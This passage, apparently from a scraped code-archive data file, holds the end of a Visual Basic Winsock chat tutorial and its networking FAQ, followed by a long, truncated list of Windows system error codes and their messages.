Sub\nWinsock1_DataArrival(ByVal\nbytesTotal As Long)\nOn Error Resume\nNext\nDim str As String\n'Now we will store data\nthat has came into this string\nWinsock1.GetData str\n'And Display that data in\nthe listbox\nlstMessages.AddItem str\nEnd Sub\nThat's It Bye Until Next\ntutorial In which we will see about the ByteArrays() and UDP\nProtocol. You can Download the Demo for Both of these Project to\nStudy it and Please Note that if You are testing it on a\nStand-alone Computer then Let the IP Address Be \"127.0.0.1\".\nYeah, You can change the Port Number but you will have to change\nit in Both the Projects. They Both have to be Same for Winsock to\nCommunicate. This whole tutorial and\nFAQ is also included in the zipfile. The samples included have\nsome extra code added to it. I will keep updating the FAQ's for\nyou people. If you have learned Something from this and want to\nthank-me then\nPlease scroll down a\nlittle and Vote for me.\nWritten By:- Keral.C.Patel.\nEmail:- keral82@keral.com\n<table border=\"1\" width=\"100%\" bgcolor=\"#66CCFF\">\n<tr>\n<td></td>\n</tr>\n</table>\n<div align=\"center\">\nFAQ\nQ. What is this TCP/IP I have heard a lot about\nit?---(By Abhishek.Net)\nA. TCP/IP refers to two network protocols (or\nmethods of data transport) used on the Internet. They are\nTransmission Control Protocol and Internet Protocol,\nrespectively. These network protocols belong to a larger\ncollection of protocols, or a protocol suite. These are\ncollectively referred to as the TCP/IP suite. Protocols within\nthe TCP/IP suite work together to provide data transport on the\nInternet. In other words, these protocols provide nearly all\nservices available to today's Net surfer. Some of those services\ninclude Transmission of electronic mail, File transfers, Usenet\nnews delivery and Access to the World Wide Web. I think that most\nplatforms supports TCP/IP. Some of them are DOS, UNIX, Windows,\nMacintosh and OS2.\nQ. Why should I specify \"127.0.0.1\" as my IP for\ntesting this code on my PC?---(By\nVrutant7287)\nA. This is also a detailed subject that why\nshould we specify \"127.0.0.1\" as our IP when testing something\nlocally. You can specify different IP and connect to that PC if\nyou have proper settings. E.g.:- You have a networked environment\nand say there are three PC's, PC1, PC2 and PC3. You are on PC1\nand you want to get connected with PC2 or PC3 then you can\nspecify the IP of PC2 or PC3 you will have a successful\nconnection only if there is another part of you application\nrunning over there and You have set it up to listen for\nconnections on specific ports on that PC. For testing or running\nthe application locally (On standalone PC) you have to specify\n\"127.0.0.1\" as IP. One More trick You can even specify the name\nof your computer as IP. It will work.\nQ. Why Specific Port and Please tell me more\nabout Ports.---(By SuperCoder77)\nA. Here we will discuss this point with an\nexample. I think it will make it easier for everybody to\nunderstand. Say For example on our server side there is an\napplication with a Winsock Control. In the Form Load or any\nsimilar event we are initializing our server-side winsock control\nto Listen on specific port by its Listen Method. If we don't\nspecify Port number then our application will get confused and it\nwill get data which is not meant for it. It can cause many\nerrors. That's why use specific port for data transactions. Ports\nare the virtual gateways for communication with other objects. I\ncannot cover all the things about ports over here It is out of\nthe scope of this tutorial.\nQ. What is sckClosed?---(By\nJack)\nA. It is a predefined Constant for the state of\nthe winsock control. If sckClosed is True then our Winsock Socket\nis closed. And I would also like to explain about requestID. The\nline after checking the state of our Winsock Control. In this\nline of code Whenever a Client tries to connect with the Server\non the Port on which Server is listening then Server-side\nWinsock's Connection Request event fires. Here we check about the\nState of our control and fix it if necessary. Then we accept the\nrequest from the client and thus a connection is established\nbetween the Client and Server through which data can be\ntransferred.\nQ. I wanted to know that will GetData Method get\nwhole string into the variable that has been passed to it as an\nargument in the parameter?---(By Emily\nGratell)\nA. Yeah. When Ever Winsock Control Gets any data\nits Data Arrival event will fire. This is where we put our Code.\nFirst we declare a variable and when we pass that variable in the\nparameter of the GetData method of our Winsock Control it will\nget all the data that was sent from the Other-side on that\nspecific Port.\nQ. What are the uses of Winsock Control and If I\nlearn this will it benefit me?---(By Ronny\nRonson)\nA. It is used in Client-Server environments. It\nis used in the utilities for Banks and Hospitals and bigger\nCorporations where there is a centralized server and all the\nother Workstations are connected to it. Now It depends on you\nthat what benefit it will do. If you are thinking about making\nSoftwares for firms and banks and places where Client-Server\nInterface is needed then you will surely benefit from this. This\nTutorial doesn't explains everything in detail but then also it\nwill get you started. I had read somewhere that whatever happens\nto the Software market a programmer who knows how to implement\nClient-Server Interface will never suffer.\nQ. Can I make a torjan from this? Will it execute\nwhatever command I send to it?---(By\nArpan.Mehta)\nA. I was not going to post this online but I am\ngetting many emails for this. Networking is a very powerful\ntechnology and if its knowledge goes into wrong hands then, he or\nshe can create a havoc by using it for illegal purposes. I\npersonally don't recommend it. I don't believe in destruction I\nbelieve in creation. My advice is to be creative. Now the answer\nto this question is that you can surely make a trojan from it.\nBut be sure that where ever your trojan goes it will need VB\nruntime Files if you make it in VB. This is just one idea, you\nwill get many bigger ideas as you go further in this subject of\nTCP and networking and unleash its power.\nNote from the\nAuthor:- I am very pleased that people have came out\nwith questions. I am getting more and more questions everyday so\nI thought that It would be better if I would provide a small FAQ\non this. If your question is not listed over here and you have\nsomething different then please Email me at\nkeral82@keral.com I will try my best to answer your\nquestions. Regards. Keral.\n</div>\n<table border=\"1\" width=\"100%\" bgcolor=\"#66CCFF\">\n<tr>\n<td></td>\n</tr>\n</table>\n</html>\n"},{"WorldId":1,"id":48426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48432,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":48434,"LineNumber":1,"line":"0 The operation completed successfully. \n1 Incorrect function. \n2 The system cannot find the file specified. \n3 The system cannot find the path specified. \n4 The system cannot open the file. \n5 Access is denied. \n6 The handle is invalid. \n7 The storage control blocks were destroyed. \n8 Not enough storage is available to process this command. \n9 The storage control block address is invalid. \n10 The environment is incorrect. \n11 An attempt was made to load a program with an incorrect format. \n12 The access code is invalid. \n13 The data is invalid. \n14 Not enough storage is available to complete this operation. \n15 The system cannot find the drive specified. \n16 The directory cannot be removed. \n17 The system cannot move the file to a different disk drive. \n18 There are no more files. \n19 The media is write protected. \n20 The system cannot find the device specified. \n21 The device is not ready. \n22 The device does not recognize the command. \n23 Data error (cyclic redundancy check) \n24 The program issued a command but the command length is incorrect. \n25 The drive cannot locate a specific area or track on the disk. \n26 The specified disk or diskette cannot be accessed. \n27 The drive cannot find the sector requested. \n28 The printer is out of paper. \n29 The system cannot write to the specified device. \n30 The system cannot read from the specified device. \n31 A device attached to the system is not functioning. \n32 The process cannot access the file because it is being used by another process. \n33 The process cannot access the file because another process has locked a portion of the file. \n34 The wrong diskette is in the drive. Insert %2 (Volume Serial Number: %3) into drive %1. \n36 Too many files opened for sharing. \n38 Reached end of file. \n39 The disk is full. \n50 The network request is not supported. \n51 The remote computer is not available. \n52 A duplicate name exists on the network. \n53 The network path was not found. \n54 The network is busy. \n55 The specified network resource or device is no longer available. \n56 The network BIOS command limit has been reached. \n57 A network adapter hardware error occurred. \n58 The specified server cannot perform the requested operation. \n59 An unexpected network error occurred. \n60 The remote adapter is not compatible. \n61 The printer queue is full. \n62 Space to store the file waiting to be printed is not available on the server. \n63 Your file waiting to be printed was deleted. \n64 The specified network name is no longer available. \n65 Network access is denied. \n66 The network resource type is not correct. \n67 The network name cannot be found. \n68 The name limit for the local computer network adapter card was exceeded. \n69 The network BIOS session limit was exceeded. \n70 The remote server has been paused or is in the process of being started. \n71 No more connections can be made to this remote computer at this time because there are already as many\tconnections as the computer can accept. \n72 The specified printer or disk device has been paused. \n80 The file exists. \n82 The directory or file cannot be created. \n83 Fail on INT 24 \n84 Storage to process this request is not available. \n85 The local device name is already in use. \n86 The specified network password is not correct. \n87 The parameter is incorrect. \n88 A write fault occurred on the network. \n89 The system cannot start another process at this time. \n100 Cannot create another system semaphore. \n101 The exclusive semaphore is owned by another process. \n102 The semaphore is set and cannot be closed. \n103 The semaphore cannot be set again. \n104 Cannot request exclusive semaphores at interrupt time. \n105 The previous ownership of this semaphore has ended. \n106 Insert the diskette for drive %1. \n107 Program stopped because alternate diskette was not inserted. \n108 The disk is in use or locked by another process. \n109 The pipe has been ended. \n110 The system cannot open the device or file specified. \n111 The file name is too long. \n112 There is not enough space on the disk. \n113 No more internal file identifiers available. \n114 The target internal file identifier is incorrect. \n117 The IOCTL call made by the application program is not correct. \n118 The verify-on-write switch parameter value is not correct. \n119 The system does not support the command requested. \n120 This function is only valid in Win32 mode. \n121 The semaphore timeout period has expired. \n122 The data area passed to a system call is too small. \n123 The filename, directory name, or volume label syntax is incorrect. \n124 The system call level is not correct. \n125 The disk has no volume label. \n126 The specified module could not be found. \n127 The specified procedure could not be found. \n128 There are no child processes to wait for. \n129 The %1 application cannot be run in Win32 mode. \n130 Attempt to use a file handle to an open disk partition for an operation other than raw disk I/O. \n131 An attempt was made to move the file pointer before the beginning of the file. \n132 The file pointer cannot be set on the specified device or file. \n133 A JOIN or SUBST command cannot be used for a drive that contains previously joined drives. \n134 An attempt was made to use a JOIN or SUBST command on a drive that has already been joined. \n135 An attempt was made to use a JOIN or SUBST command on a drive that has already been substituted. \n136 The system tried to delete the JOIN of a drive that is not joined. \n137 The system tried to delete the substitution of a drive that is not substituted. \n138 The system tried to join a drive to a directory on a joined drive. \n139 The system tried to substitute a drive to a directory on a substituted drive. \n140 The system tried to join a drive to a directory on a substituted drive. \n141 The system tried to SUBST a drive to a directory on a joined drive. \n142 The system cannot perform a JOIN or SUBST at this time. \n143 The system cannot join or substitute a drive to or for a directory on the same drive. \n144 The directory is not a subdirectory of the root directory. \n145 The directory is not empty. \n146 The path specified is being used in a substitute. \n147 Not enough resources are available to process this command. \n148 The path specified cannot be used at this time. \n149 An attempt was made to join or substitute a drive for which a directory on the drive is the target of a previous\t\tsubstitute. \n150 System trace information was not specified in your CONFIG.SYS file, or tracing is disallowed. \n151 The number of specified semaphore events for DosMuxSemWait is not correct. \n152 DosMuxSemWait did not execute; too many semaphores are already set. \n153 The DosMuxSemWait list is not correct. \n154 The volume label you entered exceeds the label character limit of the target file system. \n155 Cannot create another thread. \n156 The recipient process has refused the signal. \n157 The segment is already discarded and cannot be locked. \n158 The segment is already unlocked. \n159 The address for the thread ID is not correct. \n160 The argument string passed to DosExecPgm is not correct. \n161 The specified path is invalid. \n162 A signal is already pending. \n164 No more threads can be created in the system. \n167 Unable to lock a region of a file. \n170 The requested resource is in use. \n173 A lock request was not outstanding for the supplied cancel region. \n174 The file system does not support atomic changes to the lock type. \n180 The system detected a segment number that was not correct. \n182 The operating system cannot run %1. \n183 Cannot create a file when that file already exists. \n186 The flag passed is not correct. \n187 The specified system semaphore name was not found. \n188 The operating system cannot run %1. \n189 The operating system cannot run %1. \n190 The operating system cannot run %1. \n191 Cannot run %1 in Win32 mode. \n192 The operating system cannot run %1. \n193 %1 is not a valid Win32 application. \n194 The operating system cannot run %1. \n195 The operating system cannot run %1. \n196 The operating system cannot run this application program. \n197 The operating system is not presently configured to run this application. \n198 The operating system cannot run %1. \n199 The operating system cannot run this application program. \n200 The code segment cannot be greater than or equal to 64KB. \n201 The operating system cannot run %1. \n202 The operating system cannot run %1. \n203 The system could not find the environment option that was entered. \n205 No process in the command subtree has a signal handler. \n206 The filename or extension is too long. \n207 The ring 2 stack is in use. \n208 The global filename characters, * or ?, are entered incorrectly or too many global filename characters are \tspecified. \n209 The signal being posted is not correct. \n210 The signal handler cannot be set. \n212 The segment is locked and cannot be reallocated. \n214 Too many dynamic link modules are attached to this program or dynamic link module. \n215 Can't nest calls to LoadModule. \n230 The pipe state is invalid. \n231 All pipe instances are busy. \n232 The pipe is being closed. \n233 No process is on the other end of the pipe. \n234 More data is available. \n240 The session was cancelled. \n254 The specified extended attribute name was invalid. \n255 The extended attributes are inconsistent. \n259 No more data is available. \n266 The Copy API cannot be used. \n267 The directory name is invalid. \n275 The extended attributes did not fit in the buffer. \n276 The extended attribute file on the mounted file system is corrupt. \n277 The extended attribute table file is full. \n278 The specified extended attribute handle is invalid. \n282 The mounted file system does not support extended attributes. \n288 Attempt to release mutex not owned by caller. \n298 Too many posts were made to a semaphore. \n299 Only part of a Read/WriteProcessMemory request was completed. \n317 The system cannot find message for message number 0x%1 in message file for %2. \n487 Attempt to access invalid address. \n534 Arithmetic result exceeded 32 bits. \n535 There is a process on other end of the pipe. \n536 Waiting for a process to open the other end of the pipe. \n994 Access to the extended attribute was denied. \n995 The I/O operation has been aborted because of either a thread exit or an application request. \n996 Overlapped I/O event is not in a signalled state. \n997 Overlapped I/O operation is in progress. \n998 Invalid access to memory location. \n999 Error performing inpage operation. \n1001 Recursion too deep, stack overflowed. \n1002 The window cannot act on the sent message. \n1003 Cannot complete this function. \n1004 Invalid flags. \n1005 The volume does not contain a recognized file system. Please make sure that all required file system drivers are loaded and that the volume is not corrupt. \n1006 The volume for a file has been externally altered such that the opened file is no longer valid. \n1007 The requested operation cannot be performed in full-screen mode. \n1008 An attempt was made to reference a token that does not exist. \n1009 The configuration registry database is corrupt. \n1010 The configuration registry key is invalid. \n1011 The configuration registry key could not be opened. \n1012 The configuration registry key could not be read. \n1013 The configuration registry key could not be written. \n1014 One of the files in the Registry database had to be recovered by use of a log or alternate copy. The recovery was successful. \n1015 The Registry is corrupt. The structure of one of the files that contains Registry data is corrupt, or the system's image of the file in memory is corrupt, or the file could not be recovered because the alternate \tcopy or log was absent or corrupt. \n1016 An I/O operation initiated by the Registry failed unrecoverably. The Registry could not read in, or write out, or flush, one of the files that contain the system's image of the Registry. \n1017 The system has attempted to load or restore a file into the Registry, but the specified file is not in a Registry file format. \n1018 Illegal operation attempted on a Registry key which has been marked for deletion. \n1019 System could not allocate the required space in a Registry log. \n1020 Cannot create a symbolic link in a Registry key that already has subkeys or values. \n1021 Cannot create a stable subkey under a volatile parent key. \n1022 A notify change request is being completed and the information is not being returned in the caller's buffer. The caller now needs to enumerate the files to find the changes. \n1051 A stop control has been sent to a service which other running services are dependent on. \n1052 The requested control is not valid for this service \n1053 The service did not respond to the start or control request in a timely fashion. \n1054 A thread could not be created for the service. \n1055 The service database is locked. \n1056 An instance of the service is already running. \n1057 The account name is invalid or does not exist. \n1058 The specified service is disabled and cannot be started. \n1059 Circular service dependency was specified. \n1060 The specified service does not exist as an installed service. \n1061 The service cannot accept control messages at this time. \n1062 The service has not been started. \n1063 The service process could not connect to the service controller. \n1064 An exception occurred in the service when handling the control request. \n1065 The database specified does not exist. \n1066 The service has returned a service-specific error code. \n1067 The process terminated unexpectedly. \n1068 The dependency service or group failed to start. \n1069 The service did not start due to a logon failure. \n1070 After starting, the service hung in a start-pending state. \n1071 The specified service database lock is invalid. \n1072 The specified service has been marked for deletion. \n1073 The specified service already exists. \n1074 The system is currently running with the last-known-good configuration. \n1075 The dependency service does not exist or has been marked for deletion. \n1076 The current boot has already been accepted for use as the last-known-good control set. \n1077 No attempts to start the service have been made since the last boot. \n1078 The name is already in use as either a service name or a service display name. \n1100 The physical end of the tape has been reached. \n1101 A tape access reached a filemark. \n1102 Beginning of tape or partition was encountered. \n1103 A tape access reached the end of a set of files. \n1104 No more data is on the tape. \n1105 Tape could not be partitioned. \n1106 When accessing a new tape of a multivolume partition, the current blocksize is incorrect. \n1107 Tape partition information could not be found when loading a tape. \n1108 Unable to lock the media eject mechanism. \n1109 Unable to unload the media. \n1110 Media in drive may have changed. \n1111 The I/O bus was reset. \n1112 No media in drive. \n1113 No mapping for the Unicode character exists in the target multi-byte code page. \n1114 A dynamic link library (DLL) initialization routine failed. \n1115 A system shutdown is in progress. \n1116 Unable to abort the system shutdown because no shutdown was in progress. \n1117 The request could not be performed because of an I/O device error. \n1118 No serial device was successfully initialized. The serial driver will unload. \n1119 Unable to open a device that was sharing an interrupt request (IRQ) with other devices. At least one other device that uses that IRQ was already opened. \n1120 A serial I/O operation was completed by another write to the serial port. (The IOCTL_SERIAL_XOFF_COUNTER reached zero.) \n1121 A serial I/O operation completed because the time-out period expired. (The IOCTL_SERIAL_XOFF_COUNTER did not reach zero.) \n1122 No ID address mark was found on the floppy disk. \n1123 Mismatch between the floppy disk sector ID field and the floppy disk controller track address. \n1124 The floppy disk controller reported an error that is not recognized by the floppy disk driver. \n1125 The floppy disk controller returned inconsistent results in its registers. \n1126 While accessing the hard disk, a recalibrate operation failed, even after retries. \n1127 While accessing the hard disk, a disk operation failed even after retries. \n1128 While accessing the hard disk, a disk controller reset was needed, but even that failed. \n1129 Physical end of tape encountered. \n1130 Not enough server storage is available to process this command. \n1131 A potential deadlock condition has been detected. \n1132 The base address or the file offset specified does not have the proper alignment. \n1140 An attempt to change the system power state was vetoed by another application or driver. \n1141 The system BIOS failed an attempt to change the system power state. \n1150 The specified program requires a newer version of Windows. \n1151 The specified program is not a Windows or MS-DOS program. \n1152 Cannot start more than one instance of the specified program. \n1153 The specified program was written for an older version of Windows. \n1154 One of the library files needed to run this application is damaged. \n1155 No application is associated with the specified file for this operation. \n1156 An error occurred in sending the command to the application. \n1157 One of the library files needed to run this application cannot be found. \n1200 The specified device name is invalid. \n1201 The device is not currently connected but it is a remembered connection. \n1202 An attempt was made to remember a device that had previously been remembered. \n1203 No network provider accepted the given network path. \n1204 The specified network provider name is invalid. \n1205 Unable to open the network connection profile. \n1206 The network connection profile is corrupt. \n1207 Cannot enumerate a non-container. \n1208 An extended error has occurred. \n1209 The format of the specified group name is invalid. \n1210 The format of the specified computer name is invalid. \n1211 The format of the specified event name is invalid. \n1212 The format of the specified domain name is invalid. \n1213 The format of the specified service name is invalid. \n1214 The format of the specified network name is invalid. \n1215 The format of the specified share name is invalid. \n1216 The format of the specified password is invalid. \n1217 The format of the specified message name is invalid. \n1218 The format of the specified message destination is invalid. \n1219 The credentials supplied conflict with an existing set of credentials. \n1220 An attempt was made to establish a session to a network server, but there are already too many sessions established to that server. \n1221 The workgroup or domain name is already in use by another computer on the network. \n1222 The network is not present or not started. \n1223 The operation was cancelled by the user. \n1224 The requested operation cannot be performed on a file with a user mapped section open. \n1225 The remote system refused the network connection. \n1226 The network connection was gracefully closed. \n1227 The network transport endpoint already has an address associated with it. \n1228 An address has not yet been associated with the network endpoint. \n1229 An operation was attempted on a non-existent network connection. \n1230 An invalid operation was attempted on an active network connection. \n1231 The remote network is not reachable by the transport. \n1232 The remote system is not reachable by the transport. \n1233 The remote system does not support the transport protocol. \n1234 No service is operating at the destination network endpoint on the remote system. \n1235 The request was aborted. \n1236 The network connection was aborted by the local system. \n1237 The operation could not be completed. A retry should be performed. \n1238 A connection to the server could not be made because the limit on the number of concurrent connections for this account has been reached. \n1239 Attempting to login during an unauthorized time of day for this account. \n1240 The account is not authorized to login from this station. \n1241 The network address could not be used for the operation requested. \n1242 The service is already registered. \n1243 The specified service does not exist. \n1244 The operation being requested was not performed because the user has not been authenticated. \n1245 The operation being requested was not performed because the user has not logged on to the network.The specified service does not exist. \n1246 Return that wants caller to continue with work in progress. \n1247 An attempt was made to perform an initialization operation when initialization has already been completed. \n1248 No more local devices. \n1300 Not all privileges referenced are assigned to the caller. \n1301 Some mapping between account names and security IDs was not done. \n1302 No system quota limits are specifically set for this account. \n1303 No encryption key is available. A well-known encryption key was returned. \n1304 The NT password is too complex to be converted to a LAN Manager password. The LAN Manager password returned is a NULL string. \n1305 The revision level is unknown. \n1306 Indicates two revision levels are incompatible. \n1307 This security ID may not be assigned as the owner of this object. \n1308 This security ID may not be assigned as the primary group of an object. \n1309 An attempt has been made to operate on an impersonation token by a thread that is not currently impersonating a client. \n1310 The group may not be disabled. \n1311 There are currently no logon servers available to service the logon request. \n1312 A specified logon session does not exist. It may already have been terminated. \n1313 A specified privilege does not exist. \n1314 A required privilege is not held by the client. \n1315 The name provided is not a properly formed account name. \n1316 The specified user already exists. \n1317 The specified user does not exist. \n1318 The specified group already exists. \n1319 The specified group does not exist. \n1320 Either the specified user account is already a member of the specified group, or the specified group cannot be deleted because it contains a member. \n1321 The specified user account is not a member of the specified group account. \n1322 The last remaining administration account cannot be disabled or deleted. \n1323 Unable to update the password. The value provided as the current password is incorrect. \n1324 Unable to update the password. The value provided for the new password contains values that are not allowed in passwords. \n1325 Unable to update the password because a password update rule has been violated. \n1326 Logon failure: unknown user name or bad password. \n1327 Logon failure: user account restriction. \n1328 Logon failure: account logon time restriction violation. \n1329 Logon failure: user not allowed to log on to this computer. \n1330 Logon failure: the specified account password has expired. \n1331 Logon failure: account currently disabled. \n1332 No mapping between account names and security IDs was done. \n1333 Too many local user identifiers (LUIDs) were requested at one time. \n1334 No more local user identifiers (LUIDs) are available. \n1335 The subauthority part of a security ID is invalid for this particular use. \n1336 The access control list (ACL) structure is invalid. \n1337 The security ID structure is invalid. \n1338 The security descriptor structure is invalid. \n1340 The inherited access control list (ACL) or access control entry (ACE) could not be built. \n1341 The server is currently disabled. \n1342 The server is currently enabled. \n1343 The value provided was an invalid value for an identifier authority. \n1344 No more memory is available for security information updates. \n1345 The specified attributes are invalid, or incompatible with the attributes for the group as a whole. \n1346 Either a required impersonation level was not provided, or the provided impersonation level is invalid. \n1347 Cannot open an anonymous level security token. \n1348 The validation information class requested was invalid. \n1349 The type of the token is inappropriate for its attempted use. \n1350 Unable to perform a security operation on an object which has no associated security. \n1351 Indicates a Windows NT Server could not be contacted or that objects within the domain are protected such that necessary information could not be retrieved. \n1352 The security account manager (SAM) or local security authority (LSA) server was in the wrong state to perform the security operation. \n1353 The domain was in the wrong state to perform the security operation. \n1354 This operation is only allowed for the Primary Domain Controller of the domain. \n1355 The specified domain did not exist. \n1356 The specified domain already exists. \n1357 An attempt was made to exceed the limit on the number of domains per server. \n1358 Unable to complete the requested operation because of either a catastrophic media failure or a data structure corruption on the disk. \n1359 The security account database contains an internal inconsistency. \n1360 Generic access types were contained in an access mask which should already be mapped to non-generic types. \n1361 A security descriptor is not in the right format (absolute or self-relative). \n1362 The requested action is restricted for use by logon processes only. The calling process has not registered as a logon process. \n1363 Cannot start a new logon session with an ID that is already in use. \n1364 A specified authentication package is unknown. \n1365 The logon session is not in a state that is consistent with the requested operation. \n1366 The logon session ID is already in use. \n1367 A logon request contained an invalid logon type value. \n1368 Unable to impersonate via a named pipe until data has been read from that pipe. \n1369 The transaction state of a Registry subtree is incompatible with the requested operation. \n1370 An internal security database corruption has been encountered. \n1371 Cannot perform this operation on built-in accounts. \n1372 Cannot perform this operation on this built-in special group. \n1373 Cannot perform this operation on this built-in special user. \n1374 The user cannot be removed from a group because the group is currently the user's primary group. \n1375 The token is already in use as a primary token. \n1376 The specified local group does not exist. \n1377 The specified account name is not a member of the local group. \n1378 The specified account name is already a member of the local group. \n1379 The specified local group already exists. \n1380 Logon failure: the user has not been granted the requested logon type at this computer. \n1381 The maximum number of secrets that may be stored in a single system has been exceeded. \n1382 The length of a secret exceeds the maximum length allowed. \n1383 The local security authority database contains an internal inconsistency. \n1384 During a logon attempt, the user's security context accumulated too many security IDs. \n1385 Logon failure: the user has not been granted the requested logon type at this computer. \n1386 A cross-encrypted password is necessary to change a user password. \n1387 A new member could not be added to a local group because the member does not exist. \n1388 A new member could not be added to a local group because the member has the wrong account type. \n1389 Too many security IDs have been specified. \n1390 A cross-encrypted password is necessary to change this user password. \n1391 Indicates an ACL contains no inheritable components \n1392 The file or directory is corrupt and non-readable. \n1393 The disk structure is corrupt and non-readable. \n1394 There is no user session key for the specified logon session. \n1395 The service being accessed is licensed for a particular number of connections. No more connections can be made to the service at this time because there are already as many connections as the service can accept. \n1400 Invalid window handle. \n1401 Invalid menu handle. \n1402 Invalid cursor handle. \n1403 Invalid accelerator table handle. \n1404 Invalid hook handle. \n1405 Invalid handle to a multiple-window position structure. \n1406 Cannot create a top-level child window. \n1407 Cannot find window class. \n1408 Invalid window, belongs to other thread. \n1409 Hot key is already registered. \n1410 Class already exists. \n1411 Class does not exist. \n1412 Class still has open windows. \n1413 Invalid index. \n1414 Invalid icon handle. \n1415 Using private DIALOG window words. \n1416 The listbox identifier was not found. \n1417 No wildcards were found. \n1418 Thread does not have a clipboard open. \n1419 Hot key is not registered. \n1420 The window is not a valid dialog window. \n1421 Control ID not found. \n1422 Invalid message for a combo box because it does not have an edit control. \n1423 The window is not a combo box. \n1424 Height must be less than 256. \n1425 Invalid device context (DC) handle. \n1426 Invalid hook procedure type. \n1427 Invalid hook procedure. \n1428 Cannot set non-local hook without a module handle. \n1429 This hook procedure can only be set globally. \n1430 The journal hook procedure is already installed. \n1431 The hook procedure is not installed. \n1432 Invalid message for single-selection listbox. \n1433 LB_SETCOUNT sent to non-lazy listbox. \n1434 This list box does not support tab stops. \n1435 Cannot destroy object created by another thread. \n1436 Child windows cannot have menus. \n1437 The window does not have a system menu. \n1438 Invalid message box style. \n1439 Invalid system-wide (SPI_*) parameter. \n1440 Screen already locked. \n1441 All handles to windows in a multiple-window position structure must have the same parent. \n1442 The window is not a child window. \n1443 Invalid GW_* command. \n1444 Invalid thread identifier. \n1445 Cannot process a message from a window that is not a multiple document interface (MDI) window. \n1446 Popup menu already active. \n1447 The window does not have scroll bars. \n1448 Scroll bar range cannot be greater than 0x7FFF. \n1449 Cannot show or remove the window in the way specified. \n1450 Insufficient system resources exist to complete the requested service. \n1451 Insufficient system resources exist to complete the requested service. \n1452 Insufficient system resources exist to complete the requested service. \n1453 Insufficient quota to complete the requested service. \n1454 Insufficient quota to complete the requested service. \n1455 The paging file is too small for this operation to complete. \n1456 A menu item was not found. \n1500 The event log file is corrupt. \n1501 No event log file could be opened, so the event logging service did not start. \n1502 The event log file is full. \n1503 The event log file has changed between reads. \n1700 The string binding is invalid. \n1701 The binding handle is not the correct type. \n1702 The binding handle is invalid. \n1703 The RPC protocol sequence is not supported. \n1704 The RPC protocol sequence is invalid. \n1705 The string universal unique identifier (UUID) is invalid. \n1706 The endpoint format is invalid. \n1707 The network address is invalid. \n1708 No endpoint was found. \n1709 The timeout value is invalid. \n1710 The object universal unique identifier (UUID) was not found. \n1711 The object universal unique identifier (UUID) has already been registered. \n1712 The type universal unique identifier (UUID) has already been registered. \n1713 The RPC server is already listening. \n1714 No protocol sequences have been registered. \n1715 The RPC server is not listening. \n1716 The manager type is unknown. \n1717 The interface is unknown. \n1718 There are no bindings. \n1719 There are no protocol sequences. \n1720 The endpoint cannot be created. \n1721 Not enough resources are available to complete this operation. \n1722 The RPC server is unavailable. \n1723 The RPC server is too busy to complete this operation. \n1724 The network options are invalid. \n1725 There is not a remote procedure call active in this thread. \n1726 The remote procedure call failed. \n1727 The remote procedure call failed and did not execute. \n1728 A remote procedure call (RPC) protocol error occurred. \n1730 The transfer syntax is not supported by the RPC server. \n1732 The universal unique identifier (UUID) type is not supported. \n1733 The tag is invalid. \n1734 The array bounds are invalid. \n1735 The binding does not contain an entry name. \n1736 The name syntax is invalid. \n1737 The name syntax is not supported. \n1739 No network address is available to use to construct a universal unique identifier (UUID). \n1740 The endpoint is a duplicate. \n1741 The authentication type is unknown. \n1742 The maximum number of calls is too small. \n1743 The string is too long. \n1744 The RPC protocol sequence was not found. \n1745 The procedure number is out of range. \n1746 The binding does not contain any authentication information. \n1747 The authentication service is unknown. \n1748 The authentication level is unknown. \n1749 The security context is invalid. \n1750 The authorization service is unknown. \n1751 The entry is invalid. \n1752 The server endpoint cannot perform the operation. \n1753 There are no more endpoints available from the endpoint mapper. \n1754 No interfaces have been exported. \n1755 The entry name is incomplete. \n1756 The version option is invalid. \n1757 There are no more members. \n1758 There is nothing to unexport. \n1759 The interface was not found. \n1760 The entry already exists. \n1761 The entry is not found. \n1762 The name service is unavailable. \n1763 The network address family is invalid. \n1764 The requested operation is not supported. \n1765 No security context is available to allow impersonation. \n1766 An internal error occurred in a remote procedure call (RPC). \n1767 The RPC server attempted an integer division by zero. \n1768 An addressing error occurred in the RPC server. \n1769 A floating-point operation at the RPC server caused a division by zero. \n1770 A floating-point underflow occurred at the RPC server. \n1771 A floating-point overflow occurred at the RPC server. \n1772 The list of RPC servers available for the binding of auto handles\thas been exhausted. \n1773 Unable to open the character translation table file. \n1774 The file containing the character translation table has fewer than 512 bytes. \n1775 A null context handle was passed from the client to the host during a remote procedure call. \n1777 The context handle changed during a remote procedure call. \n1778 The binding handles passed to a remote procedure call do not match. \n1779 The stub is unable to get the remote procedure call handle. \n1780 A null reference pointer was passed to the stub. \n1781 The enumeration value is out of range. \n1782 The byte count is too small. \n1783 The stub received bad data. \n1784 The supplied user buffer is not valid for the requested operation. \n1785 The disk media is not recognized. It may not be formatted. \n1786 The workstation does not have a trust secret. \n1787 The SAM database on the Windows NT Server does not have a computer account for this workstation trust relationship. \n1788 The trust relationship between the primary domain and the trusted domain failed. \n1789 The trust relationship between this workstation and the primary domain failed. \n1790 The network logon failed. \n1791 A remote procedure call is already in progress for this thread. \n1792 An attempt was made to logon, but the network logon service was not started. \n1793 The user's account has expired. \n1794 The redirector is in use and cannot be unloaded. \n1795 The specified printer driver is already installed. \n1796 The specified port is unknown. \n1797 The printer driver is unknown. \n1798 The print processor is unknown. \n1799 The specified separator file is invalid. \n1800 The specified priority is invalid. \n1801 The printer name is invalid. \n1802 The printer already exists. \n1803 The printer command is invalid. \n1804 The specified datatype is invalid. \n1805 The Environment specified is invalid. \n1806 There are no more bindings. \n1807 The account used is an interdomain trust account. Use your global user account or local user account to access this server. \n1808 The account used is a Computer Account. Use your global user account or local user account to access this server. \n1809 The account used is an server trust account. Use your global user account or local user account to access this server. \n1810 The name or security ID (SID) of the domain specified is inconsistent with the trust information for that domain. \n1811 The server is in use and cannot be unloaded. \n1812 The specified image file did not contain a resource section. \n1813 The specified resource type can not be found in the image file. \n1814 The specified resource name can not be found in the image file. \n1815 The specified resource language ID cannot be found in the image file. \n1816 Not enough quota is available to process this command. \n1817 No interfaces have been registered. \n1818 The server was altered while processing this call. \n1819 The binding handle does not contain all required information. \n1820 Communications failure. \n1821 The requested authentication level is not supported. \n1822 No principal name registered. \n1823 The error specified is not a valid Windows RPC error code. \n1824 A UUID that is valid only on this computer has been allocated. \n1825 A security package specific error occurred. \n1826 Thread is not cancelled. \n1827 Invalid operation on the encoding/decoding handle. \n1828 Incompatible version of the serializing package. \n1829 Incompatible version 